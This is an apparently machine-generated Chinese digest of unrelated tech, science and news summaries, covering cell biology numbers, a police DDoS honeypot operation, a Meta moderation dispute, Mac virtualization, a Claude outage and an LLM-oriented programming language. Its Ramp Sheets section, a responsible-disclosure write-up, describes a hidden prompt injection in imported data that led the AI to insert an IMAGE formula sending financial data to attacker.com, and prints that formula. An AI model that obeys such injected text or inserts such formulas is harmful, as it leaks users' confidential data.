• 数学能够使生物学变得鲜活，帮助我们以全新的视角审视细胞结构图，深入理解生物学的奇妙之处。

细胞内部的活动

• 细胞内部主要由水（70%）和蛋白质（30%）构成，DNA仅占1%。
• RNA聚合酶以惊人的速度将DNA转录成RNA，其速度甚至超过了Usain Bolt 的奔跑速度，且错误率极低。
• 核糖体迅速将RNA翻译成蛋白质，一个核糖体可以在24秒内完成一个平均大小蛋白质的翻译，且仅有极少的错误。
• 细胞内有数百万个蛋白质，它们负责各种功能，使细胞成为一个自主的工厂。

扩散的限制与生物学奇迹

• 扩散速度受分子大小影响：小分子扩散快，大分子扩散慢。
• 细胞体积受到扩散速度的限制，过小无法提供足够的“物质”，过大则效率低下。
• 酶的底物浓度稀释，但酶仍然能以惊人的速度找到并与底物结合。
• 细胞内部是一个充满能量和偶然事件的混沌状态。

结论与展望

• 作者呼吁生物学教育应注重培养学生的数学思维，鼓励他们用绝对单位进行量化分析，并培养对生物体的“感觉”。
• 蛋白质的多重功能和细胞间信号通路的多样性预示着生物学远比我们想象的更加复杂。
• 作者强调，为了更好地理解生物学，需要新的科学方法来测量蛋白质的动态变化和相互作用强度。
• 数学、笔和纸，是理解这个微观世界的基本工具。

脚注:

1. https://twitter.com/NikoMcCarty/status/1630213701272842244
2. https://www.rpgroup.caltech.edu/personal%5Fpages/rob/index.html
3. https://bionumbers.hms.harvard.edu/bionumber.aspx?id=108488&ver=3
4. https://bionumbers.hms.harvard.edu/bionumber.aspx?id=100233&ver=8
5. https://book.bionumbers.org/what-are-the-time-scales-for-diffusion-in-cells/
6. https://www.cell.com/fulltext/S0092-8674%2800%2980922-8

内容摘要

这篇文章表达了对“不使用人工智能将被淘汰”这种观点的强烈反驳。作者认为，真正会被淘汰的是过度依赖人工智能的人们，因为他们会逐渐丧失独立思考、写作、搜索信息、辨别真伪以及学习的能力。

作者认为，学习本身就是一件美好的事情，而过度依赖AI会扼杀这种学习的乐趣和能力。他们质疑，如果认为ChatGPT能做得更好，为何不努力提升自身能力，追求AI无法企及的领域？

文章最后以“或者不要”结尾，暗示了选择权始终在个人手中。

核心观点:

• 过度依赖AI可能导致技能退化和学习能力的丧失。
• 应该努力提升自身能力，追求AI无法替代的价值。
• 个人有选择是否依赖AI的自由。

开源替代方案：Harvey 和 Legora

这段内容介绍了名为“The Cliff Walk at Pourville by Claude Monet”的开源项目，它旨在成为 Harvey 和 Legora 的替代方案，提供类似的功能，但无需企业合同。

主要特点：

• 助理 (Assistant): 提供聊天界面，能够阅读文档、引用原文、执行多步骤工作流，并完成合同的起草和编辑。用户可以使用自己的 Claude 或 Gemini API 密钥，完全掌控使用的模型。
• 项目 (Projects): 提供按案件划分的工作区，用户可以将各种法律文件（如信用协议、SPAs、租赁协议、尽职调查文件等）上传到项目，助理可以保持对所有对话和文档的完整上下文。
• 表格审查 (Tabular Review): 支持并行处理数百份文档的表格式数据提取。每个单元格都可追溯到相应的页面和引文，避免出现幻觉答案或失效链接。
• 工作流 (Workflows): 允许将成熟的提示词保存为可重复使用的工作流，例如 CP 检查清单、信用协议摘要和变更控制审查。可以创建公司范围内的模板，让初级律师只需一键点击即可运行。

选择开源的原因：

• 成本效益： 无许可费用，避免了每年上涨的每座席定价。只需支付模型 API 的费用。
• 避免供应商锁定： 用户可以自由选择 Claude 或 Gemini，并使用自己的 API 密钥。
• 自托管： 项目设计为可自托管，文档不会离开用户自己的基础设施，从而更好地控制合规性、居住地和特权。
• 可扩展性： 用户可以修改代码，添加特定于行业的流程，集成文档管理系统 (DMS)，或连接自己的引用引擎。
• 透明度： 用户可以审计每一行代码，了解提示词构建、引文解析和数据流的方式，避免黑盒操作。

部署方式：

• 云端部署： 作为托管产品提供服务。
• 自部署： 从源代码克隆并自行部署。

总而言之，该项目提供了一个功能丰富的开源平台，旨在为法律专业人士提供一个灵活、可控且经济高效的 AI 解决方案，取代传统的商业软件。

https://gcc.gnu.org/gcc-16/changes.html

操作“电力切断”：警方钓鱼网站及行动总结

本文总结了国际行动“电力切断”（Operation PowerOFF）以及其中一个钓鱼网站“Cyberzap”的运作方式，并分析了其目的和效果。

“电力切断”行动简介

“电力切断”是一项大规模的国际行动，旨在打击“按需DDoS”服务。行动涉及包括美国联邦调查局（FBI）、英国国家打击犯罪局（NCA）和欧洲刑警组织（Europol）等机构，但似乎主要由荷兰警方协调和执行。荷兰警方负责行动的基础设施建设，多年来已成功查封约100个域名并逮捕了一些嫌疑人。

“Cyberzap”钓鱼网站

作者在调查“电力切断”行动时，发现了一个名为“Cyberzap”的网站（https://cyberzap.fun/）。该网站模仿了常见的“按需DDoS”服务网站，虽然设计并不完美，但力求真实。网站配备了robots.txt文件、站点地图、SEO友好的元标签等，试图在搜索引擎中获得排名。

作者通过检查MX DNS记录发现，该网站使用荷兰警方常用的服务器主机bit.nl，这进一步证实了其真实性。作者使用一个专门用于研究的邮箱注册了该网站，并成功收到包含验证码的激活邮件。

网站仪表盘看起来有些空洞，但仍然具有欺骗性，显示了虚假的网络速度图表和连接的僵尸节点数量。作者尝试发起“攻击”，输入了一个虚构的域名，但每次都收到“支付错误”提示。作者推测，网站的目的是收集用户的IP地址和邮箱地址，作为潜在证据。

“Netcrashers”网站：恐吓策略

除了“Cyberzap”之外，作者还发现另一个网站“Netcrashers”（https://netcrashers.net/）。该网站看起来更加粗糙，承诺“崩溃所有网络”，但点击任何按钮都会跳转到一个带有荷兰警方警示信息的页面，明确指出该网站由荷兰警方所有，并警告用户DDoS攻击是非法的。

行动曝光：作者导致网站关闭

在作者对“Cyberzap”进行测试和截图时，该网站突然被关闭，显示401未授权错误提示。作者认为，可能是警方检测到作者的邮箱地址和研究行为，从而触发了警报。与“Cyberzap”不同的是，预期的警示网站“Netcrashers”仍然正常运行。作者成功将“Cyberzap”的主页存档。

行动目的分析

作者分析认为，“电力切断”行动的目的不仅仅是抓捕个人，更重要的是制造不信任感，让用户对“按需DDoS”服务产生怀疑。通过运行这些“蜜罐”网站，警方希望让潜在用户相信这些服务不可靠。

警方还发布了一段“AI生成”的宣传视频，声称揭露了16岁少年攻击Minecraft服务器的案例，但作者认为这更像是一场自我吹嘘式的行为，并且浪费了纳税人的钱。

总结

“电力切断”行动展示了警方打击网络犯罪的两种手段：公开的宣传和隐蔽的“蜜罐”网站。尽管这些“蜜罐”网站设计相对简单，容易被发现，但警方仍然投入了大量资源进行建设。作者认为，这些行动的效果有限，更多的是一种象征性的行为。

Meta 终止与 Sama 合同引发争议：智能眼镜内容审查引发隐私担忧

事件概要：

Meta 公司近期因结束与 Kenya 位于内罗毕的 AI 训练外包公司 Sama 的合同而面临压力。合同终止导致 Sama 约 1108 名员工面临失业。Meta 官方声明称终止合同是因为 Sama 未能达到其标准，而 Sama 则坚决否认这一说法。Kenyan 工人组织指责 Meta 的决定是因员工公开质疑审查智能眼镜拍摄的敏感内容。

事件起因：

事件源于近期发表在瑞典报纸 Svenska Dagbladet (SvD) 和 Goteborgs-Posten (GP) 上的调查报告。该报告引用了匿名员工的描述，他们被要求审查 Meta 智能眼镜拍摄的视频内容，其中包含“裸体”等敏感画面。Meta 承认，其外包工人有时会审查智能眼镜用户分享的内容，用于改进 AI 产品体验，并声称这是一种常见的行业做法。

监管机构的介入：

瑞典调查报告发表后，英国数据保护机构（ICO）对 Meta 发出警告，表达了对其报告的“担忧”。肯尼亚数据保护专员办公室也已启动对相关隐私问题的调查。Meta 表示已暂停与 Sama 的合作，以调查相关申诉。

智能眼镜功能及隐私问题：

Meta 智能眼镜具有文本翻译、根据用户视线回答问题等功能，尤其对视力障碍人士有益。然而，随着设备普及，滥用问题也日益突出。这些眼镜配备了录像指示灯，但员工表示有时会看到用户在卧室等私密场所录制内容，例如拍摄妻子换衣服的场景。

Sama 公司背景：

Sama 是一家总部位于美国的业务外包公司，最初是一个非营利组织，旨在通过提供科技工作岗位来增加就业机会，现已转型为“伦理” B-Corp。但此前 Sama 曾因与 Meta 审查 Facebook 内容的合同而受到批评，并引发了前员工的法律诉讼，部分员工描述了自己接触到令人震惊和创伤内容的经历。

工人组织的观点：

Africa Tech Workers Movement 的 Naftali Wambalo 认为，Meta 终止合同的真正原因是 Meta 不希望员工公开讨论人类审查智能眼镜拍摄内容的情况。他称 Meta 所说的“标准”实际上是“保密标准”。

法律专家呼吁：

律师 Mercy Mutemi 认为，Meta 的声明应警示肯尼亚政府，不要将整个 AI 产业建立在如此脆弱的基础之上。

Meta 的回应：

Meta 声明用户已在服务条款中知晓了内容可能由人工审查的可能性，并表示其重视用户隐私，照片和视频对用户来说是私密的。

J. Craig Venter 逝世：基因组学和合成生物学领域的先驱

加利福尼亚州拉荷亚 - 2026年4月29日 – J. Craig Venter 研究所 (JCVI) 今天宣布，该研究所创始人、董事会主席兼首席执行官 J. Craig Venter 博士在圣地亚哥的一家医院去世，享年[未提及具体年龄]，此前他因治疗最近诊断的癌症时出现意外副作用而入院。

Venter 博士是一位富有远见的科学领袖，他的工作定义了现代基因组学，并推动了合成生物学领域的发展。他通过组建跨学科团队、推动大胆的想法和更快速的方法，并坚持认为发现应该转化为实际影响，来推动科学和技术变革。他也是联邦科学资助和加速政府、学术界和产业合作进步的坚定倡导者。

JCVI 主席 Anders Dale 表示：“Craig 相信，当人们愿意跳出思维定势，果断行动，并创造尚未存在的东西时，科学才能不断前进。” 他补充说，Venter 博士的领导和远见重塑了基因组学，并帮助点燃了合成生物学。JCVI 将通过继续他建立的使命——推进基因组科学、支持使发现成为可能的公共投资，以及广泛合作将知识转化为影响——来纪念他的遗产。

Venter 博士的职业生涯致力于将基因组学从缓慢的、逐个基因的发现转变为可扩展的、数据驱动的科学，并进一步证明了基因组可以被设计和构建。

• 早期贡献: 在美国国立卫生研究院 (NIH) 工作期间，他帮助开创了使用表达序列标签 (EST) 进行基因发现的先河，从而能够快速识别大量的人类基因，并加速基因组测序工作。
• 人类基因组测序: 他领导了产生人类基因组第一个草图序列的工作，这一里程碑事件帮助生物学进入数字时代。他与同事后来发表了第一个高质量的人类二倍体基因组，证明了捕获来自父母双方遗传的遗传变异的重要性。
• 合成生物学突破: 在合成生物学领域，Venter 博士及其团队通过构建第一个由化学合成基因组控制的自复制细菌细胞，取得了具有里程碑意义的成就，证明了基因组可以被数字设计、用化学成分构建，并“启动”运行一个活细胞。
• 全球海洋采样: 通过“索尔杰二号”全球海洋采样探险队，Venter 博士及其团队利用宏基因组学揭示了非凡的微生物多样性，报告了数百万个新基因的发现，并扩大了已知的蛋白质家族，深入了解了海洋微生物群及其在行星系统中的作用。

除了科学成就之外，Venter 博士还是一个建设者：他建设了团队、平台和机构，旨在进行大型科学冒险。 除了创立 JCVI 之外，他还是一位连续创业者，共同创立了 Synthetic Genomics, Inc.、Human Longevity, Inc. 和最近的 Diploid Genomics, Inc.，推动了基因组学和合成生物学转化为健康和社会工具的努力。

研究所请求尊重 Venter 博士家人的隐私。关于纪念活动的更多信息将在可用时公布。

关于 J. Craig Venter 研究所 (JCVI)

JCVI 是一家位于马里兰州罗克维尔和加利福尼亚州拉荷亚的非营利性研究机构，致力于推进基因组科学的发展；理解其对社会的影响；以及向科学界、公众和决策者传达这些结果。由 J. Craig Venter 博士创立的 JCVI 拥有约 120 名科学家和工作人员，他们在合成生物学、人类和进化生物学、遗传学、生物信息学/信息学、信息技术、高通量 DNA 测序、基因组和环境政策研究以及科学和科学政策的公共教育方面拥有专业知识。JCVI 是一家 501(c)(3) 组织。 更多信息，请访问 www.jcvi.org。

媒体联系人：

Matthew LaPointe, mlapointe@jcvi.org, 301-795-7918

德国莱茵金属公司大幅增加军火生产，产能超越美国

根据《南德意志报》的报道，德国国防公司莱茵金属（Rheinmetall）显著增加了弹药和军用设备的生产，其管理层表示，德国已在传统弹药的生产能力上超越了美国。

主要内容：

• **产能大幅提升：**莱茵金属首席执行官阿明·帕珀格（Armin Papperger）表示，公司在多个领域显著提升了生产量。具体如下：
  • 军用卡车产量从每年600辆增加到4500辆。
  • 中口径弹药产量从80万发增加到400万发。
  • 火炮弹药产量从7万发增加到110万发。
• **德国领先地位：**帕珀格指出：“德国现在拥有更多的传统弹药生产能力。”
• 人才招聘激增： 过去，国防工业因被认为不具吸引力而面临人员短缺问题。 然而，到2025年，该公司收到了35万份申请，其中25万份来自德国。
• **员工数量增加：**莱茵金属目前拥有4.4万名员工，预计到2030年将增加到7万名。 供应链中可能再增加2.1万名员工。
• 供应链合作： 该公司与1.15万家德国供应商合作，其中4500家也与汽车制造商合作。
• 产业结构调整： 帕珀格预测，军火生产可能取代德国汽车工业约三分之一的工作岗位，后者正面临裁员。
• 持续扩张： 莱茵金属持续扩大生产能力，并与合作伙伴合作，包括在军用设备维修和生产领域。
• 背景： 德国首次发布军事战略，将俄罗斯确认为欧洲安全的 主要威胁，并计划将联邦国防军（Bundeswehr）打造成为欧洲大陆上最强大的军队。

总结： 莱茵金属公司在德国政府推动国防建设的背景下，大幅提升了军火生产能力，并在传统弹药产能上超越美国，同时积极招聘人才，扩展供应链，并预见其发展将对德国汽车工业产生影响。

Ramp Sheets AI 安全漏洞总结

本文档描述了 PromptArmor 发现的 Ramp Sheets AI 的一个安全漏洞，该漏洞可能导致敏感的财务数据外泄。Ramp 的安全团队已于 2026 年 3 月 16 日修复了此问题。

漏洞概述:

Ramp Sheets AI 是一款类似于 Claude for Excel 的 AI 驱动的电子表格工具，允许用户在无需人工干预的情况下编辑电子表格。该漏洞源于 Ramp AI 允许插入触发外部通信的公式的能力，从而可能被攻击者利用进行数据外泄。

攻击链:

攻击者可以通过以下步骤利用该漏洞：

1. 打开包含敏感财务模型的电子表格。
2. 导入来自不可信外部来源的参考数据集。 该数据集被设计用于与财务模型进行比较，但实际上包含一个隐藏的提示注入。
3. 提示注入隐藏在参考数据集中。 提示注入以白描文字的形式隐藏，旨在操纵 Ramp AI 执行以下操作：收集敏感数据、生成包含该数据的公式，并自动将该公式插入到用户的电子表格中。
4. 用户要求 Ramp AI 将财务模型与行业统计数据进行比较。 用户发起一个看似无害的查询。
5. Ramp AI 受到提示注入的影响，插入恶意公式。 Ramp AI 被操纵，插入一个 IMAGE 公式，该公式使用攻击者的 URL，并将受害者的敏感财务数据附加到链接的末尾。例如：=IMAGE("https://attacker.com/visualize.png?{victim_sensitive_financial_data_here}")
6. 恶意公式触发网络请求，外泄财务数据。 Ramp AI 在未获得用户批准的情况下插入恶意公式，触发对攻击者服务器的网络请求，从而暴露了财务模型中的敏感数据。

漏洞修复:

Ramp 的安全团队已于 2026 年 3 月 16 日修复了此漏洞。

与 Claude for Excel 的对比:

PromptArmor 之前也发现了 Claude for Excel 存在类似的风险，即恶意公式可能触发数据外泄。Anthropic 通过在插入可能导致外部网络流量的公式时显示红色警告提示框来解决此问题。该提示框会显示完整的公式，并更新了相关文档，以更好地告知用户风险。

负责任的披露时间线:

• 2026 年 2 月 19 日：PromptArmor 通过 security@ramp.com 披露漏洞。
• 2026 年 2 月 27 日：PromptArmor 跟踪。
• 2026 年 3 月 13 日：PromptArmor 跟踪。
• 2026 年 3 月 14 日：Ramp 确认收到报告，并解释了最初响应延迟的原因。
• 2026 年 3 月 16 日：Ramp 确认漏洞已修复。

总结:

该漏洞表明了 AI 驱动的电子表格工具在处理敏感数据时存在潜在的安全风险。PromptArmor 通过负责任的披露行动帮助 Ramp 解决了此问题，并强调了在 AI 工具中实施适当的安全措施，例如用户审查和对外部网络请求的限制的重要性。

怀俄明州枪械部件制造与第二修正案：法院裁决摘要

核心问题： 怀俄明州和科罗拉多州的枪械爱好者正在关注联邦第10巡回法院的一项裁决，该裁决认定购买、交易和持有无序列号的枪械部件可能受到美国宪法第二修正案的保护。

裁决背景：

• 2023年6月，科罗拉多州通过了一项法律，禁止购买、出售、转移和持有无序列号的枪械、枪机或枪管等部件。
• 对此，包括国家枪支权利协会（NAGR）和落基山枪支组织（RMGO）在内的几位个人和非营利组织提起了诉讼，认为该法律侵犯了他们的第二修正案权利。
• 第10巡回法院推翻了地方法院的裁决，认为科罗拉多州的法律确实与第二修正案相关。法院认为，对枪械部件进行全面禁止不应被视为与行使持枪权无关。

枪械部件制造的流行趋势：

• 定制枪械，特别是AR-15风格的步枪，越来越受欢迎。
• AR-15步枪的模块化设计允许枪主通过更换上机匣和枪管等部件来定制自己的武器，从而拥有多支不同口径的步枪。
• 枪械爱好者通常从有注册序列号的部件（例如AR-15步枪的下机匣）开始，然后购买其他部件和配件进行组装。购买这些带序列号的部件通常需要通过持枪经销商并进行背景调查。
• 随着预制枪管等部件变得更容易获得且价格合理，越来越多的人开始在自己的车间或车库中组装狩猎步枪。

专家观点：

• Nic George (枪械爱好者): 将定制枪械比作为男性准备的芭比娃娃，强调了配件的重要性。
• Ryan Semerad (律师): 强调检察官不能声称与枪械部件相关的案件与第二修正案无关。
• Joshua Kinderknecht (Wyoming Tactical Firearms 和 W.T.F. Silencers所有者): 认为定制枪械非常受欢迎，并指出AR-15风格的步枪是模块化枪械之王。 他强调了拥有多个上机匣和枪管组合的便利性，可以轻松切换口径。

总结： 这项裁决对枪械爱好者来说是一个积极的信号，因为它可能允许他们挑战限制无序列号枪械部件销售和拥有的法律。同时，也反映了定制枪械日益增长的受欢迎程度，这得益于模块化枪械设计的普及和部件可获取性的提高。

总结：关于x.com的隐私扩展问题

这是一则简短的提示信息，指出在使用x.com（原Twitter）时可能遇到的问题。

主要内容：

• 问题： 一些隐私相关的浏览器扩展程序可能导致x.com出现问题。
• 建议： 建议用户禁用这些隐私扩展程序，然后再次尝试。

总结：

该提示信息旨在帮助用户解决在使用x.com时遇到的潜在问题，建议用户暂时禁用隐私扩展程序以排除它们是问题原因的可能性。

谷歌母公司Alphabet发布2026年第一季度财报

发布日期： 2026年4月29日

核心内容：

谷歌母公司Alphabet发布了2026年第一季度的财报。

关键信息：

• 财报以PDF格式发布，投资者可以通过链接下载：//s206.q4cdn.com/479360582/files/doc%5C_news/2026/Apr/29/attachments/2026q1-alphabet-earnings-release.pdf
• 投资者可以通过以下链接查看更多新闻：https://abc.xyz/investor/news/default.aspx

总结：

该新闻简报宣布了Alphabet公司发布其2026年第一季度财报，并提供了财报PDF下载链接以及查看更多投资者相关新闻的链接。

Apple Silicon Mac 虚拟机总结 (Summary of Apple Silicon Mac Virtualization)

以下是对原文内容的总结，重点在于Apple Silicon Mac上虚拟机技术的功能、架构、性能和限制。

背景与技术基础:

在Apple Silicon芯片出现之前，用户可以使用VMware和Parallels等软件在Intel Mac上运行macOS、Linux和Windows。为了在新的Arm架构Mac上支持虚拟化，Apple选择将虚拟化技术直接集成到macOS中。

核心组件：Hypervisor与Virtio:

• Hypervisor: Apple早在OS X 10.10 (2014)就加入了Hypervisor，为虚拟化提供基础支持。
• Virtio: 由于Apple Silicon硬件与Intel Mac硬件差异巨大，Apple采用了Virtio作为设备抽象层。Virtio是一个标准，允许虚拟机与主机操作系统交互，无需为每个硬件设备单独编写驱动程序。Apple在macOS中内置了Virtio驱动程序，简化了虚拟机应用程序的开发，并提升了性能。

性能表现:

• Virtio架构使得虚拟机能够接近原生硬件的性能，CPU和GPU性能表现良好。 Geekbench 6.3.0测试显示，虚拟机环境下的性能与原生环境差距不大（CPU单核3643 vs 3892，多核12454 vs 22706，GPU 102282 vs 110960）。
• 磁盘存储性能经过优化，即使开启FileVault也能获得较好的速度。
• 虚拟机中的 Rosetta 2 仍然可以运行兼容 macOS 10.15 Catalina 的 64 位 Intel 代码。

功能与限制:

• 支持的操作系统: 虚拟机只能运行 Monterey 及更高版本的 macOS，不能运行 Big Sur 或 Intel 版本的 macOS。
• App Store限制: 虚拟机无法运行大多数 App Store 应用，因为Apple的授权机制限制了虚拟机对App Store的访问。
• iCloud 支持: iCloud 和 iCloud Drive 的支持需要主机和虚拟机都运行 macOS 15 (Sequoia) 或更高版本。
• 网络和音频: 虚拟机网络连接始终被识别为以太网，不支持 Wi-Fi。 音频支持也存在问题。
• 许可限制: Apple的macOS许可规定，一台Mac上最多可以运行两个macOS虚拟机，并且虚拟化用途仅限于软件开发、测试、使用macOS Server或个人非商业用途。

应用场景:

• 运行与当前macOS版本不兼容的应用程序。
• 在自定义环境中测试应用程序。
• 隔离潜在的恶意软件。
• 测试不同版本的macOS。
• 处理敏感数据。
• 同时访问不同的 iCloud 帐户。
• 运行 macOS 的测试版本。

总结:

Apple Silicon Mac 上的虚拟机技术提供了一种强大的工具，可以运行旧版本 macOS、测试应用程序，并提供安全的环境。尽管存在一些限制，例如对 App Store 应用的支持，但其性能和灵活性使其成为 macOS 用户的重要补充。

Claude 服务中断事件报告总结 (中文)

事件状态：已解决

事件时间： 2026年4月30日 01:51 UTC (解决), 2026年4月30日 01:34 UTC (监控), 2026年4月30日 01:20 UTC (调查)

受影响的服务：

• claude.ai
• Claude Console (platform.claude.com)
• Claude API (api.anthropic.com)
• Claude Code
• Claude Cowork
• Claude for Government

事件概要：

Anthropic 报告称，Claude 服务出现中断问题，已于 2026年4月30日 01:51 UTC 解决。在解决之前，Anthropic 团队正在调查问题，并随后开始监控修复结果。受影响的服务包括 Claude 的多个平台和 API，以及 Claude Code, Claude Cowork 和 Claude for Government。

好的，以下是根据您提供的 Vera 项目内容生成的中文摘要，字数控制在 800 字以内，并采用 markdown 格式：

Vera：面向大型语言模型编写代码的新语言

Vera (v-ERR-a) 是一种新兴编程语言，专为大型语言模型 (LLM) 设计，旨在让模型能够编写代码。该项目名称源自拉丁语 veritas（真理）。Vera 程序编译成 WebAssembly，可以在命令行或浏览器中运行。

设计理念与问题

传统的编程语言通常是为人类程序员设计的。然而，随着 LLM 在代码生成方面的日益普及，Vera 旨在适应这种新的编程范式。项目团队观察到，目前 LLM 在代码生成方面的主要挑战并非语法，而是跨代码库维护一致性、理解变更的影响以及长时间跟踪状态。LLM 倾向于进行模式匹配，优化局部合理性，而非构建整体系统。

Vera 的核心特性

Vera 旨在通过以下方式解决上述问题：

• 显式和可验证性： 消除变量名，使用结构化引用。强制执行合约，类型化效应，确保每个函数都是可以由编译器验证的规范。
• 强制合约： 使用 requires（前提条件）和 ensures（后条件）来明确函数行为，编译器会在每次调用时检查前提条件，并使用 SMT 求解器静态验证后条件。
• 类型化效应： 默认情况下，函数是纯的（无副作用）。如果函数调用 LLM，则必须在签名中明确声明，并且调用者必须声明完整的效应行。
• 指令式错误信息： 传统编译器会向人类提供诊断信息，而 Vera 会为编写代码的模型提供修复指令，包括错误原因、修复方法以及规范参考。
• WebAssembly 支持： 编译后的代码可以直接在 WebAssembly 环境中运行，具有跨平台兼容性。

代码示例

以下代码展示了 Vera 的特点：

public fn safe_divide(@Int, @Int -> @Int)
  requires(@Int.1 != 0)
  ensures(@Int.result == @Int.0 / @Int.1)
  effects(pure)
{
  @Int.0 / @Int.1
}

该代码展示了强制合约和类型化效应的用法。@Int.0 和 @Int.1 代表最近和前一个 Int 绑定。

项目状态与未来发展

Vera 项目目前处于积极开发阶段 (v0.0.127)，拥有超过 800 次提交和 127 次发布。项目团队正在努力将 Vera 从“可用的语言”发展为“LLM 实际使用的语言”。

主要目标包括：

• 开发经过验证的 MCP 工具服务器，以确保编译时工具模式的可靠性。
• 通过 VeraBench 基准测试来评估 LLM 在 Vera 上的性能。

获取与参与

• 安装： 克隆 GitHub 仓库，创建虚拟环境并安装依赖项。
• 工作流程： 使用 vera check 检查代码，vera verify 验证合约，vera run 运行代码。
• 编辑器支持： 提供 VS Code 扩展和 TextMate bundle。
• 代理支持： 提供 SKILL.md 和 AGENTS.md 文档，方便 LLM 代理使用。

项目结构

Vera 项目结构清晰，包括语言规范、示例代码、测试用例、编译器源码和文档等。

许可证

Vera 采用 MIT 许可证，允许自由使用、复制和修改。

总而言之，Vera 是一种为 LLM 设计的创新编程语言，它通过强制显式性、可验证性和类型化效应来解决 LLM 代码生成中的固有挑战。该项目具有巨大的潜力，有望改变 LLM 在软件开发中的角色。